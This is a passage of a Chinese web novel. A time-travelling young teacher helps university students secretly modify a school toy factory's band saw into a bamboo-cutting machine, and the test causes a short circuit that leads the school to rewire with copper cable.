学校目前招收的学生中,孤儿占的比例最大。这回被春妮叫去干活的三个孩子中,正好都是孤儿。 春妮噗地笑了:“校长,你不觉得,你现在越来越像老妈子了?” 方校长挥手撵她:“去去去,你这孩子净会开校长我的玩笑。我是认真的,咱们学校好不容易培养出来的学生,可不能被外国人的仨瓜俩枣骗走。” 春妮笑嘻嘻的,压低声音:“这怕什么,学校不是准备开夜班课了吗?咱们给里头加点料。” “加什么料?”韩厂长和方校长默契地拉着她走远了些。 “你们想啊,他们在英国人那干活,语言不通,又被人瞧不起,时间一长,心里肯定有苦闷。咱们往后从生活上多关心他们,经常去看他们,找他们谈心,为他们排遣忧难,时间久了,还怕丢了人心?” 春妮当过孤儿,知道身后无依无靠是什么感觉。 方校长若有所思:“这倒也是,韩厂长,咱们以后的工作还要往细致处做哪。”又说:“以后你们安排老师学生去探望他们,记得……” 尽管韩厂长目前已经不是学校老师,方校长遇到什么事,还是喜欢找这个曾经的舍友商量。 春妮见他们谈话谈得入神,去玩具厂的车间转了转。 学校那回趁圣诞节抢盖了八间房子,因为时间太紧,只有三间是完全盖好的状态。其中一间被老师们占去做了办公室,另外一间给了校长当住处。 因为校长的妻儿不在海城,学校所有的员工中,只有他目前跟家人两地分居,半年多没能团聚。现在倭国人把持着租界外围,居民们出行越发不便,不知什么时候又会像去年一样来个大封锁,大伙最后一致同意把这间房子先让给校长一家人住。 最后一间就是他们现在的工作车间。 这个工作车间原本是学校为几名暂时来回不方便的老师们准备的宿舍,但春妮他们出人意料拉回来一台机器,机器不能再跟木料一样,随便搭个棚子就能安置,房子只能暂时让给了他们。 正因如此,偌大的带锯机放进去之后,车间怎么也没法多塞几个人进去。 春妮去时,看见员工们聚在门口谈论韩厂长带回来的消息。 她驻足听了一会儿,有人发现了她,兴奋地围上来:“顾老师,邓来喜跟严广福以后都不来学校了吗?” “顾老师,英国人的俱乐部长什么样?” “他们的运气可真好,去一次就被英国人看上……” 春妮因为脸嫩,在林老师来之前,是唯一一个从来不考试,还时不时给他们做玩具的□□,一向非常受学生的欢迎。 她笑眯眯作了个安静的手势,将韩厂长对他们的安排讲了讲,说道:“小邓和小严学业还没完成,当然还得来学校。他们两个在俱乐部人生地不熟,肯定日子不好过,大家以后有空记得多关心他们哪。” “我听说英国人的俱乐部天天可以吃糖,还会不好过?”有同学不相信。 春妮叹了口气,道:“那是英国人才能吃到糖。小邓和小严是华国人,俱乐部会让他们跟英国人一个待遇吗?”见众人不语,春妮又道:“有很多人,你们别看他们外表光鲜,他们受的苦,你们都看不见,他们的日子不一定比你们自在。就像老师我,如果英国人的地盘真的有你们说的这么好混,为什么我每天宁愿辛辛苦苦来回奔波,也不肯跟韩厂长他们一样,留在那做完事再回来?” “哇,顾老师,你这么厉害,都被英国人欺负过?” 小严和小邓的遭遇势必会引来学生们的艳羡,但定然也会招惹来一些嫉妒非议。想想也明白的道理,大家的起点一样,这两人只是出了趟公差,就此成为两个世界的人,心态摆不平太正常了。 校长明显想将学校打造成学生们的另一个家,小邓和小严两个目前是学校培养出来的最长脸的学生,可不能让他们因为内部不和谐的声音被排挤走。 春妮跟这些小学生们说了一会儿话,深深觉得老师们太难了:所谓教书育人,教书容易育人难。尤其是这个混乱的年代,堕落起来可太快了。老师们不仅要教会知识,还要看住学生不走错路,真的劳心劳力。 养猪,从明天开始,必须得让校长真的养几头猪给老师们加餐! 关于养猪的问题,在稍后的会议上,经过春妮的提前撺掇,老师们还真的提了出来,被校长一句话问住:“猪草谁来打?猪食上哪准备?” 大伙顿时全蔫吧了:是啊,现在粮食这么贵,人都快吃不起,哪来的东西喂猪? 春妮却不是个服输的性子。 她想起坐在电车上看到的鸡蛋厂,心想,鸡蛋厂养几百几千只鸡都能经营下去,没道理他们这么多学生,养几头猪却养不了,一定有办法! 她将这事记在心里,听校长宣布,学校虽然暂时买不起猪,买点河鲜,给老师们打打牙祭还是可以的。正好这会儿到了年末,学校打算采购一批鲜鱼,一个老师发几条鱼作福利,让他们拿回家做熏鱼。 虽说海城水系发达,江浦背靠苏河跟吴江两大河流,缺什么都不会缺鱼吃,但近来资源紧缺,也影响到了鱼价,海城居民再难像战前那样买到便宜的新鲜鱼。老师们同样很振奋。 这个任务,稍后被交给了李德三。 这小子目前专门负责春妮小摊位的夜班,为人又机灵,两个月下来,认识的三教九流不少。这种事交给他,准保不会有问题。 校长不知什么时候发掘到了李德三的这个才能,最近一段日子,学校里只要有想购买的大宗食物,交给李德三准没错。 说完大家最关心的福利问题,正题开始了。 “上次顾老师还有韩厂长,我们几个讨论过,咱们的骨牌在桌球俱乐部打开市场后,预计短时间之内会迎来一个销售的小高峰。除了租界的俱乐部,多米诺骨牌的搭建同样适用于百货公司的庆典活动,还有电影,戏园子,赌场等地方的开业酬宾,以及酒店宴席。现在其他的市场咱们暂时做不了,但年末了,百货商场年底活动最多,学校能不能过个肥年,可就要看大家的了。” 方校长一通鸡血打下来,老师和玩具厂的员工纷纷激动地表态:“校长放心,我们一定全力以赴,不会辜负您的期望!” 老师们的活力很感染人,方校长露出欣慰的笑容:“我相信大家不会让我失望,但是学校里会搭骨牌的学生不多,我们怎么说服百货商场买我们的东西呢?” “从明天开始,我让我们班学生抽半天时间练习骨牌的搭建,一定让他们在最短时间内学会学好!”夏风萍第一个表态。 其他老师马上跟进:“我们班也是。” “我也是,我让我老公儿子抽空也学。” 工厂成立之初就立过规矩,谁拉到生意谁有提成。老师们为了过个肥年,也是够拼的了。 春妮侧目看韩厂长:我就说不用开班吧,只要大伙知道咱们的多米诺能赚钱,别说开个多米诺班,分分钟学校名都能给你改成多米诺技术学校! 我们玩具厂可不是其他的什么妖艳贱货,有一整个学校作后盾,担心什么都不用担心 没人可用。 不管怎么说,不用跟这个年代的其他人一样操心前途命运,人人争先,个个奋进,这样单纯奋斗的氛围真的是太好,太好了! 60-70 第61章 061 精神财富 对学校来说, 多米诺这个项目刚刚开始开发,有无穷的潜力,但对春妮来说, 它已经结束了。 用郑经理的话说, 她这个总工把他们销售的活全都干完了,销售还干什么? 虽然郑经理当时以半开玩笑的口吻说的这话,但是春妮瞅瞅他这几天逾发稀疏的发顶,决定以后还是不要表现得太凶残了。 有春妮这个总工在,郑经理他压力山大啊。 但不干销售,春妮也没闲着。 那几天在卫公馆,春妮曾经设想过, 拼图的形式还可以发展得更加多元化。正好韩厂长趁元旦的三天假时间,从老家铜阳请来了一位同宗的雕刻师父, 春妮便请他出手,雕刻一幅年画形式的版刻。 这位老师傅今年虚岁六十九,无论什么时代,都该是贻养天年, 不宜再外出奔波的年纪。但铜阳自去年沦陷,被倭国人刮过好几次地皮, 夏天的那场水患导致老师傅家里十几亩良田颗粒无收之后,韩师父家境一落千丈。一家人眼瞅着翻过年就要饿死,这时他听说韩厂长招人去海城的厂里做工, 不顾老迈,坚持辞别家人, 孤身一个跟着韩厂长到了玩具厂。 韩厂长非常感慨:“韩师父在我们那十里八乡的手艺是独门顶绝的。要是搁在往年,这个价钱想请到他指点,别人眼缝都不夹你一下。你平时多顺着些老人家, 有什么事咱们私底下商量,我去跟他说。” 春妮原本觉得韩厂长有点小题大做,等听老师父表明自己的观点之后,她明白了。 老师傅对木刻的态度很严谨,他说:“大匠十年,小匠三年。别看咱们是在木头上做工夫,但该练的,该磨的,哪处轻,哪处重,哪处巧,哪处拙,都有讲究,急不得。” 怎么急不得? 工厂的机器一天天开着,隔壁学校的经费流水价花着,一天不开工都可能饿死人,倭国人还在租界外头磨刀霍霍,真要是按韩师父培养老手艺人的法子那样,慢慢雕琢,精工细作,那不等东西做完,工厂说不定都没了。 租界人都知道,趁能赚的时候使劲赚,能捞的时候可劲捞吧!否则,指不定什么时候天上一颗飞弹下来,该不该了的,全了了帐。 春妮谨记韩厂长的告诫,把老师父的原话转告给他,由得他头疼,自己调头钻进车间,跟带锯机较起了劲。 玩具厂这台唯一的细木工带锯机目前正在加班加点做骨牌,春妮坐在一边,看一根根粗大的楠竹放进工作台,两个人一人一边固定住竹子,将其缓缓推入加工台,随着锯条的高速转动,七八长的竹子被均匀地切割成半米长的小节。 他们做得很小心,因为一旦锯条歪一下,这根竹子就毁了。 但这样一来,未免显得速度跟不上。 春妮托起手肘,皱眉在旁边看着,思索是不是还能在哪改进一下。她前些日子做骨牌时就对这台机器的速度有意见,只是那时候赶工要紧,她才压到现在。 殊不知,她这一脸的苦大仇深,让两名操作工以为自己出了什么问题,大气不敢出,被她这么一吓,显得速度越发慢了。 舒老师就是在这样莫名高压的气氛中找到的春妮:“小顾老师,原来你在这啊,正好,我有事同你讲。” 春妮讶道:“舒老师,你没回家休息吗?韩厂长不是放了你半天假?” 放他假都不走,又是一个工作狂预定。 舒老师说:“就是心里惦记有事要跟你商量,我才又跑回来一趟。”事实是他先去找了一趟方校长,但方校长看不懂他画的什么,推说叫他来找春妮,他这才在车间里找到的她。 他让春妮看他手上拿的手稿:“玩具厂的这台机器本来是切割木材的,我瞧他们切竹子切得很不顺手,竹子又圆,万一不小心滚一下给割着手,那就不美了。我琢磨着,是不是哪里给改改,你看怎么样?” 舒老师见春妮拿过他手里的本子,一脸正经地翻看他的草图,心里依然觉得很神奇,这么个小姑娘,从车间到俱乐部,她似乎什么活都能干,什么事都能掺和,她是怎么会这么些东西的? 关键是她掺和点啥,她周围人都一脸正常,仿佛她理当如此厉害,更显得神奇了。 春妮三两下翻完草图,竟然还真的给了点意见:“你一下安了这么多锯刀同时转动,对电机没有影响吧?” 舒老师改装的竹子加工机跟他们现在用的机器的区别是,他调整了一下锯条的分布范围,以及为了保护工人作业,他将需要锯条操作的范围设计了一个铁箱包裹,只留出一个塞竹子进去的入口,这样可以更多地保护操作工的安全。 毕竟竹子跟木头不一样,竹子生长的形态固定,又只需要加工成竹条,但不是每块木头都只用加工成木条。木头的可塑性没法让它跟竹子一样被固定下来。 春妮的问题一针见血,好几个锯刀同时开动,跟一个锯刀开动,需要的功率输出必然不同,这就得看电机的负荷能不能承受了。 舒老师面对专业还是很严谨的:“理论上不会有什么问题,但具体怎么样,得试过才知道。” 舒老师的目的很明显了:他想动学校这台唯一的宝贝机器。 幸好方校长没听他说完话就跑了,否则,舒老师只怕没法活着见到明天的太阳。 临近年关,到处都要花钱,老师要发福利,工厂要扩大生产,学生至少得再吃一顿肉吧……尤其学校这个投钱听不见响的吞金巨兽,愣是急得方校长大冬天的起了一嘴的燎泡。他们要动的,不是机器,是校长的命。 但舒老师很幸运,他碰到了春妮这个作死小能手。 春妮觉得他的想法很有意思,而且她应当在后世见过类似的设备,只是没想过拆开来研究。 “倒也不是不能试试。”她斟酌着说。 舒老师惊喜:“真的能试?”他其实已经做好被臭骂一顿赶回家的准备了。 这年头,工厂里但凡有台机器,谁不是宝贝得什么似的?他们学校虽说设立了机械系,但舒老师在学校读了几年书,摸到机器的次数十根手指头数得出来,还是尽可着学校的印刷室在薅羊毛,薅得负责印刷室的后勤部长看见他们几个学生就赶紧往回跑。 你问后勤部长往回跑干什么?当然是关门锁窗防学生了! 常文远说的“改良印刷机”的学生就是从这来的,因为学校里除了几台校友和工厂捐赠的破旧的电机,就只有印刷机能让学生祸祸两下。可怜吴江大学的几台德国进口印刷机,让学生们来回祸祸几遍,生生变成了拉磨的老驴,印一回试卷得休息三天,到今天都没喘匀气儿呢。 好歹是工厂唯一的活宝贝,春妮总算记得有点分寸:“你确定能给它装回去?” 舒老师一脸心虚:“我……我试试吧。” 试试?好几百块钱一套的机器呢,万一试了装不回去……春妮想起方校长的脸色,心头一颤:“你……悄悄试吧,别让方校长知道。” 舒老师原还准备了一肚子的话来劝春妮,没想到什么都没说出来,她这是,“你答应了?!” 他不敢置信:这么容易就答应了?! 这就是春妮和这个年代人的代沟,她在这个年代的起点虽然很低,但前世她的国家在末世来临前是全球最大的工业国,即使经历过毁灭,留下来的财富也足够他们这些幸存者发掘,学习修理和拆解机械原本就是她在基地的必修课之一。 在某方面,她的精神财富是超乎时代限制的富足。 而现在她所在的国家是一个钢铁年产量只有几千吨,所有机械,甚至是铁皮都只能依赖进口的农业国家。这里仅有的几家大型工厂,机械师大部分被德国人垄断,政府主持修建的兵工厂 甚至因为德国机械师退出而无法运行。她无法想象,在这个年代拆解改造一台真正的机器,对这些坐困愁城,即将失学,又无法留学深造的华国大学生来说,代表什么意义。 其实吴江大学作为国内最好的学府之一,对机械系也有不菲的投入,但实验室理论跟实践是两回事。 舒老师以为春妮不明白里边的风险,犹豫着是不是跟她再说清楚,只听这小丫头喃喃自语,似是在算帐:“光是拆拆机器,不动发电机应该不是问题。再说这台发电机原本是配来切割圆木的,最大功率至少有2500瓦,也该够造了。” 当时老师们用牛车拉回来东西,组装部件时,她也在旁边,这台带锯机的核心部件并不复杂。要是弄坏了,大不了她偷偷再来一趟,把空间的工具搬出来,也能修个七七八八。 当务之急,提高工作效率是最重要的。 舒老师眨眨眼:小顾老师都算得这么清楚了……那还犹豫个屁啊,干了! 一向自诩文明优雅的舒老师开心过度,在心底爆出了一句粗话。 就是,组装新机器这样的好事,自己一个人偷偷干好像有点不厚道,要不要请教授和同学们过来参观参观,指导指导? 春妮不知道舒老师心里还有什么打算,她现在单纯只愁一件事,方校长成天以学校为家,怎么做,他才有可能不知道他们拆机器这事? 第62章 062 真刀真枪 月黑风高夜。 舒存仁缩在背风处, 把脸藏进风领里,只冒出两只眼睛和一双耳朵尖在外头,机警地盯住一个方向。 他的身后, 同学们在寒风中瑟瑟发抖:“存仁, 咱们还要等多久?” 海城已经到了最冷的时节,别看这座城市位于华国最东南,但这里一年四季分明,水流发达,因而冬天潮湿阴冷,并不比北边内地好挨多少。 他们藏身的位置靠近弄堂口,被穿堂的东北风少说吹了半个钟头。 要不是今天机会实在难得, 大伙也不会冒着这个风险做贼似地藏在这,还一等这么大半天。 好在那句话没问出多长时间, 校门方向传来了说话的声音:“校长,你带着马灯去吧,回来这片路上没有路灯,不方便走路。” “知道了, 你也快点回去。一个小姑娘家,再能打也不好天天走夜路, 工作上再多的事,也不及安全重要。” “知道知道,我这就回去。” 看着那道背影从弄堂的另一个方向走出去, 站在校门口,直到看不见方校长的春妮终于冲他们的方向招了招手:“还不快过来?” 校长这些天在犹豫放寒假的时间, 他怕跟中秋节那回一样,放假时间太长,学生家里说不定会饿死人。春妮便建议他, 让他领着几个老师家访一次,摸清学生家的情况,给最困难的那些发点粮食作补助。 方校长被她一通忽悠,今天终于付诸了行动。 舒存仁对身后点点头,春妮就看见,弄堂口乌泱乌泱地,钻出了一大堆人。这些人手里提着,肩上扛着,仿佛拖大带小的难民似的,只等着她一声令下,便投奔了过来。 春妮目瞪口呆:“舒老师,你不是把全班同学都叫来了吧?” 舒存仁脸上不知是被冻的,还是不好意思的,红得跟猴屁股似的:“当然不是了,小顾老师,咱们快办正事吧。” 那个家里有事,实在赶不过来的同学,他可没来呢。所以,他绝对没有把全班同学叫过来拆别人的机器…… 这会儿的确不是寒喧的时候,春妮引着他们赶紧往里走,问道:“可咱们拆机器不是一时半会儿的事,要是时间太晚,你们住在哪?” “多谢密斯顾关心,这附近有几间旅馆,要是实在晚了,我们在那挤挤也一样。”说话的不是舒存仁,而是另一个身形瘦小精黑,头发斑白的男人。 春妮眼角抽抽:“您不会是他们的教授吧?” 面色黎黑,更像个老农民的老教授点点头:“我姓包,代我这些不成器的学生谢谢顾小姐给他们这次机会。” 看来自己这次改装机器,成了别人大学课堂教学的观摩课。 春妮没怪舒老师自作主张,她只是很惊奇。上次装机器也是这样,突然冒出来好多没见过的生人看他们装机,一问都是附近的居民和学生的亲朋好友,她只当是大家没见过带锯机,想见识见识,没多想。这回拆机器又是这样,连大学教授都引来了,莫非她干的这事真的这么惊世骇俗? 众人到了车间,春妮“啪”地一声打开电灯。舒老师面色一变:“小顾老师,这电灯会不会太亮了?” 春妮知道,这一片一到晚上到处都是黑漆漆的,只有他们这里点灯的话,目标过于明显,等方校长回来时,说不定会发现。 她笑着道:“有韩厂长在,他会留意的。” 摸黑操作机器有很大的危险性,打开电灯大不了让方校长知道后臭骂一顿,但万一因为照明不足引发安全事故,那就该悔不当初了。 方校长搬到大房子之后,那个原先被当作门房的小房子现在给了韩厂长一个人住。不管谁从门口过,韩厂长就会知道,到时候他们有约定好的暗号提醒。 春妮什么都安排完毕,舒老师就不客气了。 他招呼众人让出位置,将来的二十几个同学分成数个小组,拆床身的拆床身,拆带轮的拆带轮,没一会儿,偌大的笨重铁疙瘩重新被拆分成了若干零部件。 随后,舒老师让同学们将带来的东西一样样码放好,用粉笔做好标记,这次不用他招呼,大家自己就知道该怎么行动,将这些码放好的木板一样样拼装完毕,木板之间用膨胀螺丝连接起来,很快再次组装完毕。 春妮提前看过舒老师设计的图纸,知道这些木板正是舒老师所设计的新机器的外壳。因为铁做的外壳太贵,他们也不可能有加工铁壳的条件,只能用木板先凑合组装一次,看他的设想能不能变成现实。 舒老师跟他的这些同学们应当提前练习过,众人齐齐动手,安装不到半个小时,一台木板竹子加工机便组装得差不多了。就是春妮偶然看着有别扭的地方,在包教授的指点下,也很快被改换过来。 “组装完毕,可以开机了。” 舒老师拍拍手,众人安静下来。 安装的时候,大伙热火朝天,干得有条不紊,但到了最后开机,验证成果的时刻,大家仿佛都变成了谦谦君子:“小舒,你来吧,你是设计者,应该第一个开机。” “不不不,还是你来,你是我们班班长,成绩又最好,不是你来是谁来?” “小舒,别谦虚了,你当过多少次第一,我……” 春妮忍俊不禁,心知他们是怕开了机万一出什么事,自己担不起责任,干脆排开众人,一把按上按钮:“你们都不来,我来开吧。” 电机嗡嗡嗡的声音响了起来,众人齐齐抽了一大口冷气。 大家顾不上责备春妮的鲁莽,一个个瞪大眼睛,凝神向机器看去。 舒老师设计的机器,最大的改动便是多加了两个带轮和两根锯条,他们得观察出几条带轮同时运行对机器,尤其是电机有没有影响。锯条的转速,松紧程度,以及转轮的位置是否合理,这些都在他们的测试范围之内。 当然,最要紧的,是得上足弦绷紧弓,真刀真枪地试上一次,看它到底能不能用。 机器测试,首先要空转。空转数轮后,舒老师紧张地捡起一根被切割好的短竹,从入口处送了进去。 所有人一瞬不瞬地盯着出口处。 连春妮都被这紧张的氛围感染,心跳加快了些许。 “咔嘣咔嘣”的切割声中,不到半尺长的青色竹筒被破分成三个长条从出口处吐出。 “成功了!”学生们击掌欢呼。 春妮盯着锯条,皱了皱眉。 这时,包教授也道:“等等,小舒,你看这根锯条是不是移位了?” 欢呼声戛然而止。 “在哪在哪?” 一阵手忙脚乱,机器按钮被重新按响。 目送一整根竹子被切割完毕,所有人长出一口气:“总算成功了!” 经过刚才的那一吓,学生们都沉稳了不少,围着机器检查一遍后,请包教授点评一二。 包教授道:“看来使用这种机器的要点在于锯条的松紧程度。刚刚安装时锯条绷得不够紧,带动它转速过快,以至于操作台震动,致使锯条最终移位,这样会影响到锯条的寿命和竹片最终成型的样式。” “会不会是因为我们用的是木板,重量不够压住电机运转,所以导致的锯条移位?” “也有这个可能,但假如锯条上得够紧,理论上不该有这样的失误。” “那教授您认为,替换成钢铁的话,我们需要怎么调整?” “这就要看具体情况了。”包教授就地取材,拿起一支粉笔在木板上涂涂画画:“我们先来计算一下,这部机器折换成同等的钢材是多少质量……” “教授,我仍然坚持,锯条过于削薄,机器一直使用锯条的话,将会导致磨损加剧,最终影响到生产效率和成本。如果改换成环形刀片……” “教授,我认为操作台是……” “教授……” 讨论逐渐热烈,又逐渐归于平静。 最后,舒老师长吸一口气:“好了,接下来是最后一项,运行强度测试。” 春妮看了他一眼。 这次的安装测试从始至终都是舒老师在主持,前面主持时,他的语气一直很稳,直到这一刻,终于有了一点紧张感。 春妮不懂得机械测试,但从他的态度判断出来,这一项应该是最难的一项。 她站到配电箱旁边,打算稍有不对就拉保险栓。 包教授神色也很慎重,他身体半蹲,手掌贴上电机表面,对舒老师点点头,后者小心翼翼地将竹子放进入口,随后是第二根,第三根……直入到第十二根之后,包教授道:“现在电机已经有些发热了,接下来同学们注意它在发热的情况下可以转动——” 话音刚落,配电箱突然爆出几簇火花,机器猛地停止轰鸣,电灯灭了。 “怎么回事?” “发生什么事了?” 幸好大伙事前做了万全的准备,询问声中,有人点燃了蜡烛,准备打开配电箱检查。 “不是保险丝的问题,给我个螺丝刀,我检查一下。” “戴上绝缘手套再打开。”包教授忙说。 “校长,你怎么回来了?”车间外面,韩厂长突然嚷嚷起来。 众人大惊失色,舒老师差点被绊个跟头:“校长回来了?怎么这么快?!” “都小声点!” 春妮压制住众人的私语声,打开了门:“我去拖住校长,你们动作快点,赶紧收拾好东西走人。” “那这个电……” “管不了这么多了,明天再说!” 春妮快步出门,正好迎上韩厂长跟在方校长身后:“校长,我这个方案问题咱们再讨论讨论。” 方校长挣开他:“不是跟你说了,我换条裤子就回来,你着什么急?小顾老师,你怎么还没走?” 春妮:“有点事耽误了,正好,我想跟你说件事,校长,你跟我来吧。” “什么事?” 这么短的时间,春妮还没想出来呢! 这时,方校长走近了,她闻到一股浓重的煤油味,再看他手上破碎的灯罩,顿时有了主意,将他往外头引:“在这说不清,您跟我到外边来吧。” “什么事非得到外边说?”方校长不肯走:“我在外边跌了一跤,让我先回去换件衣服。” “哎呀,您跟我来就行了。都这么晚了,您让我快说完早点回家吧。” “对对对,你是得快回家,走,韩老师,跟我送送小顾老师。” 两个人一路将方校长引出巷子,春妮道:“这不是您上回说年末了,全校师生热闹热闹吗?我寻思着,您让每个班拿了不少节目出来表演,万一那天表演完后时间太晚,咱们这天太黑看不清路,是不是在这路上布置几盏灯笼,方便师生们回家?” 春妮悄悄往后看了一眼,她身后的里弄里,一行人蹑手蹑脚地,正在往学校外面走。 “哎,你说的是个问题。那你看灯笼挑在这——”方校长伸出手,头向后转去。 韩厂长突然大声道:“我觉得挑在这最好。” 方校长吓一跳,抚了两下胸口:“小韩你这么激动干什么?放个灯笼而已,又不是去杀人。” 韩厂长跟春妮对视一眼,同时抹了抹额上不存在的冷汗:校长啊,我们怕的,不就是你要杀人吗? 第63章 063 狐假虎威 送走电力公司的几位洋大人, 方校长一张脸拉得比驴还长。 昨晚电力突然短路,今天电力公司来人走过一趟,就收走了两块钱的人工费。 这笔高昂的意外支出让方校长半天缓不过神来。 这且不算, 旁边还有人碎碎念:“校长, 用电安全最重要,这点钱可千万不能再省了啊。” 方校长弱弱道:“电力短路不是挺经常的事吗?兴许不是咱们机器的问题?” 说话的人是王老师,她振振有辞:“这话说出来您信吗校长?您忘了刚刚电力公司的那位威廉先生怎么说的了?他说就是因为咱们学校偷工省料用的铝芯电线,才造成了这次事故。幸好短路时没有形成电火花,否则就不止是短路这么简单了。” 她越说越怒:“仓库里这么多木材,擦燃一点就是大问题。我怀疑,威廉先生走之后, 救火会也要上门来了,您早作准备, 好好想想怎么打发这群大爷们吧。” 疾风骤雨的一席话,说得方校长彻底不作声了。 因为机器的功率都相当大,工业用电的标准自然比居民用电要求高很多。以前学校只是个单纯的学校,建校时方校长便没有按照工部局的要求, 将电线的材质进行符合标准的升级修改。待到带锯机在学校安家,校长观察几天, 没发现有问题,便理所当然将这笔钱“省”了下来。 这个问题,吴江大学来的几位机械系学生都曾经跟方校长提起过, 均被他打马虎眼糊弄过去了。 这会儿方校长被挤兑得难受,周围又没人为他说话, 眼睛四处转一圈,看到了春妮:“小顾老师,你来说两句。” 小顾老师才害得学校多出了一大笔钱, 正老实装乖呢,冷不丁被校长点了名,不得不硬着头皮讶道:“啊?” 校长每常不是骂她最会花钱吗?怎么会找她来为自己说话? 然而方校长根本不需要她配合,自顾自道:“真要是机器的问题,为什么白天上班时电线不短路,到夜里都熄了灯,它反倒是爆了?总不会有人偷偷溜回来开机器玩吧?” 春妮一阵心惊肉跳,昨晚她跟韩厂长好辛苦拉着方校长在外头聊了半个多钟头,末了还非让他顶着半身煤油味在小摊上吃了一碗胡辣汤,才放他回去。要是被这么对待的是她,她早就生出了一肚子的疑心。 她生怕方校长真的猜出什么,忙道:“校长,还是快点更换吧。现在租界里什么都涨,你再犹豫下去,咱们更买不起了。幸好当时电线短路时旁边没人,要是有人的话,因为漏电出了什么意外怎么办?” 方校长一惊,随即长声叹气:“这也要花钱,那也要花钱。咱们锯木头赚的那点钱,还没焐热乎,买两根电线又没了。”说着,叫来尹老师:“你稍后没课的话,去五金店跑一趟,打听一下电线的价钱。” 王老师生怕方校长又起了偷工减料的心,忙补充道:“要铜芯电线,至少五个平方的。” 尹老师沉默寡言,平时在学校存在感不高,但写得一笔好字,方校长经常请他帮忙刻印蜡纸,写点材料什么的,时间久了,他渐渐代替韩厂长的位置,成为了类 似校长助理般的人物。 尹老师道:“我现在就可以去跑一趟。”说着,不等方校长说话,推出自行车飞身离去。 春妮抿嘴一笑:这位尹老师似乎也是个挺有意思的人。 江浦离铁号街本来就不远,一节课没上完,尹老师就回来了:“校长,我打听回来了。现在铜芯线只有一家店有货,要卖三块钱一米。” 老师们齐齐倒抽一口气:“这么贵?” 方校长捂着心脏:“咱们的电线从路口的配电箱接过来,至少有五十米,三块钱一米,这是抢钱哪?” 胡老师大力点头:“比电力公司还黑。”上午电力公司来人时,报价给他们两块半块钱一米。但是电力公司铺设的人工费太高昂,方校长舍不得,拿话拖延了下来。 王老师说:“尹老师,你问的哪一家?我家半年前换的电线,才不到一块钱一米。” “兴盛五金行,工业线和居家线不一样,”尹老师多说了两句:“米油都涨了价,电线这种外国货怎么可能不涨?”又催方校长:“我看问电线的人不少,年关了,这东西肯定也紧俏,校长还是早做决定吧。” 方校长也知道,多米诺的销售打开英国人的市场之后,学校狠狠接了几个订单。目前郑经理跟先施百货正积极接洽,预计近两天内就会有一个不逊于皇家桌球俱乐部的大订单拿回来,工厂机器千万不能在这时候掉链子。 方校长一咬牙:“给电气公司打电话,请他们再派人来吧。” 没一会儿,负责打电话的尹老师回来说:“他们说目前工厂用的铜线缺货,让我们排队等几天。” 这是电气公司一贯的讹诈办法,没办法,谁让整个海城除了法租界只有这一家电气公司?还是美国人开的。要是钱给够,区区几节电线他们怎么可能没有? 方校长无可奈何,只能接着咬牙:“你这次打电话直接找威廉,跟他说安装费好商量,让他尽快带着人来吧。” 王老师叹气道:“只怕威廉先生下午的价格跟上午又要不一样了。” 夏风萍安慰校长:“这是厂房改造费用,股东们也应该承担一部分,至少不会是咱们全出吧。” 这话……股东们的钱早就拨到学校口袋里了,不还是得从学校掏钱吗……方校长唉声叹气,没力气跟小姑娘解释。 “怎么了?都聚在这干什么呢?都在等着我的好消息?” 这时,韩厂长回来了。 他一脸的意气风发,简直将“我办了件大好事,你们快来问我”写在了脸上。 众人将电气公司的回应说了,韩厂长脸上快不可见地闪过一分心虚,沉吟道:“我去电气公司跟他们的人谈谈,他们绝对不敢多耽误。” 韩厂长说话还从未有过这样的底气,方校长沉思片刻,大喜:“福纳先生的订单你拿下来了?” 福纳先生是英租界工部局的九名董事之一,几天前,纳尔逊拍摄的影片拿到皇家总会播放,引起了小小的轰动。会后,工部局的董事福纳先生向纳尔逊询问骨牌的购买地,这位先生很够意思,将韩厂长引荐给了福纳先生的管家。 今天韩厂长早早出门,就是为了让这笔订单最终落袋为安。 毕竟多米诺不难做,租界做这种小玩具生意的厂家不多不少,也有两三家。 春妮他们的优势除了会提供规格不一的牌面之外,还在于他们附送的那些构思巧妙的小机关。比如与扇页平行的小风车,打磨得光滑圆润的木制或石制滑道,还有那些用于作精细操作的镊子,卡尺…… 当然,最近突然风靡起来的多米诺,十之有九都是由他们的玩具厂承办,这也是优势之一。作为整个海城有数的大人物,总不能落后于大家。 得到韩厂长的点头肯定之后,方校长兴奋地一握拳头:“太好了,这回我看那些美国人怎么敲诈我们。” 电气公司有工部局董事们的股份,福纳先生正是股东之一。 事实恰如方校长猜测的那样,韩厂长跑了一趟电气公司,马上就领来了一个为数足有十人的安装工程队。 工程队的效率一反常态地高,不到两个小时,整条电线已经铺设完毕,还附带为他们检查了一下整个工厂的电路排线问题,态度好得不得了。 学校成立这半年多来,直到今天,终于体验到了一把狐假虎威的快乐。 听见机器再度响起的轰鸣声,方校长付钱付得特别痛快:“谢谢各位,各位请慢走。” 不知道韩厂长是怎么跟他们说的,为了威廉先生前踞后恭的态度,方校长的心都没有那么疼了。 为此,送走工程队之后,方校长特意交代韩厂长:“你这些天记得多打听一些,福纳先生管家的喜好,别生意做成之后就断了联系。” 韩厂长迟疑了一下:“有点不太好办。福纳先生的管家对我们多米诺的材质有点异议,我怕……”他的未尽之言很清楚,只怕经过这次合作之后,福纳先生家将不会再考虑跟玩具厂合作。 事实上,要不是租界里多米诺这股风潮刮得太急,福纳先生需要在农历新年的那几天招待客人,其他厂家没有提前备货,好多趣玩具厂想抢到这笔订单,很有些困难。 方厂长咬咬牙:“大不了过年之后我们另外找一些好材质做成骨牌,给福纳先生送过去。” 韩厂长不看好,多米诺的材质说来说去只有这几种。福纳先生家不中意木头骨牌,做其他材质的骨牌,他们更没有优势。 方校长四下看了几圈:“小顾老师呢?问问她啊,看她有没有办法。” 小顾老师已经凭实力成为学校各个产业不可或缺的一员。 小顾老师正在安慰舒老师:“舒老师,你别总这副心虚的样子。威廉先生不是说了吗?电线会短路,归根结底是质量问题,就是没有昨天那一出,迟早也会爆。正好昨天你们这么些专家在,出事了也不慌。若是换了别人,说不定事故更大。” 不过话说回来,如果再一次发生这样的用电事故,安全的确是个大问题。 舒老师怏怏的:“小顾老师,你别安慰我了。我昨天想了一晚上,学校经不起折腾,咱们的实验还是算了吧。” 春妮却有了其他的思路:“舒老师,你说,我们请包教授来工厂讲几堂课怎么样?” 舒老师:“啊?” 第64章 064 大巧若拙 春妮知道方校长的痒处, 看到他跟韩厂长联袂前来,她已经想好了说辞。 “校长,包教授是吴江大学机电专业的权威专家, 这种人才平时咱们都没地方认识, 现在好不容易的机会,只请人家来工厂上几堂安全课,有什么好犹豫的?” 